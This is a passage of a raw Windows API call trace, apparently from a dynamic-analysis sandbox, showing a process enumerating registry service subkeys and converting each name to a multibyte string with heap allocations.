RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0230.752] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1bf8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0230.752] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.752] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.752] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.752] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.752] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0230.752] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0230.752] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0230.752] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.752] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.752] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.752] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.752] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0230.752] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0230.752] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0230.752] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.752] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.752] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.752] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.752] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0230.752] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0230.752] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0230.753] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.753] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.753] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.753] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.753] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0230.753] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0230.753] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0230.753] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.753] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.753] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.753] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.753] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0230.753] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0230.753] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0230.753] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.753] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.753] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.753] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.753] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0230.753] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0230.753] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0230.753] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.753] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.753] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.753] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.753] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0230.754] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0230.754] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0230.754] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.754] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.754] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.754] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.754] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0230.754] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0230.754] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0230.754] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.754] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.754] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.754] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.754] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0230.754] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0230.754] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0230.754] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.754] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.754] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.754] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.754] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0230.754] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0230.754] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0230.754] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.754] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.755] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.755] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.755] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0230.755] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0230.755] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0230.755] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.755] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.755] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.755] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.755] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0230.755] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0230.755] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0230.755] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.755] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.755] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.755] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.755] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0230.755] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0230.755] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1ad8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0230.755] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.755] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.755] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.755] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.755] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0230.755] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0230.756] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1bf8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0230.756] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.756] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.756] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.756] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.756] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0230.756] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0230.756] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1ad8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0230.756] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0230.756] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0230.756] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0230.756] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0230.756] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0230.756] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0230.756] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0230.757] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0230.757] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0230.757] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0230.757] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0230.757] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0230.757] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0230.757] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0230.757] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0230.757] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0230.757] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0230.757] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0230.757] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0230.757] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0230.757] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0230.757] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0230.758] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0230.758] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0230.758] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0230.758] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0230.758] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0230.758] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0230.758] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0230.758] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0230.758] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0230.758] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0230.758] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0230.758] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0230.758] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0230.758] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0230.758] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0230.759] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0230.759] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0230.759] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0230.759] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0230.759] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0230.759] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0230.759] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0230.759] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0230.759] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0230.759] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0230.759] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6d, lpName=0x2152850, 